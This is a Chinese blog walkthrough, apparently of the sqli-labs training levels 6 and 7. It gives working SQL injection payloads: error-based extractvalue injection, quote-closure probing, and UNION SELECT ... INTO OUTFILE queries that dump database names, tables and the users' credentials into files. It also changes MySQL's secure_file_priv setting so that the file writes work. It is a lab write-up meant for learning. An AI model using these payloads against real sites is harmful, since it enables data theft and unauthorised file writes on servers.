目录
🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。
💡本文由Filotimo__??原创,首发于CSDN📚。
📣如需转载,请事先与我联系以获得授权??。
🎁欢迎大家给我点赞👍、收藏??,并在留言区📝与我互动,这些都是我前进的动力!
🌟我的格言:森林草木都有自己认为对的角度🌟。
?sqli靶场第1关:filotimo.blog.less1
?sqli靶场第2-3关:filotimo.blog.less2-3
?sqli靶场第4-5关:filotimo.blog.less4-5
输入?id=1',正常回显('是英文单引号)。
输入?id=1'',正常回显(''是两个英文单引号)。
输入?id=1",出现如图所示报错("是英文双引号):
?
输入?id=1"",正常回显(""是两个英文双引号)。
报错信息为'"1"" LIMIT 0,1'?
判断其为"闭合
输入?id=1''?--+,正常回显。
Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。
构造语句:
?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+
结果如图:
?
我们能看到数据库名为security。
构造语句:
?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
结果如图:
?
我们能看到表名为emails,referers,uagents,users。
点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。
输入?id=1'?and 1=1?--+,报语法错误。
输入?id=1"?and 1=1?--+,正常回显(''是两个英文单引号)。
但输入?id=1"?and 1=2?--+,仍然是正常回显,说明不是单纯的引号注入。
这关数据库具体报错没有提示到页面上,先猜猜看吧。
?常用闭合方式有:
?id=1'--+
?id=1"--+
?id=1')--+
?id=1")--+
?id=1'))--+
?id=1"))--+
当输入?id=1')) and 1=1 --+,正常回显。输入?id=1'))?and 1=2?--+,报语法错误。说明是'))的闭合方式。
用二分法与order by确定列数为3。
输入?id=1')) order by 3 --+,正常回显。
输入?id=1')) order by 4 --+,报错。
所以数据表中有3个字段。
正常回显中提示:?Use outfile......
在数据库中,outfile是一个命令,用于导出数据到文件。
以下是使用 into outfile 语句的一般语法:
SELECT column1, column2, ... FROM table INTO OUTFILE 'file_path'
其中,SELECT?语句是你的查询语句,column1, column2, ...?是需要获取的列名,table?是要查询的表名。而?'file_path'?是你希望将结果导出到的文件的路径。
into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。
我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;
我的界面如图:
我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26
进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""
保存后退出,然后重启MySQL
?
再进入MySQL命令窗口,输入show variables lilke '%secure%' ;
这次我的界面如图:
构造poc:
?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+
输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。(?into outfile 后面的路径分隔符不能是\)
database.txt文件内容:
可以知道数据库的名字为security
group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。
例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:
SELECT GROUP_CONCAT(name) FROM product;
该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:
SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;
该查询将以分号作为连接符号返回所有的产品名称。
构造poc:
?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+
桌面上会出现tables.txt,文件内容为:
可以知道security库中表名为emails,referers,uagents,users。
爆出users表中的字段名:
?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+
桌面上会出现column.txt,文件内容为:
可以知道users表中字段名为id,username,password。
构造poc:
?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+
桌面上会出现password.txt,文件内容为: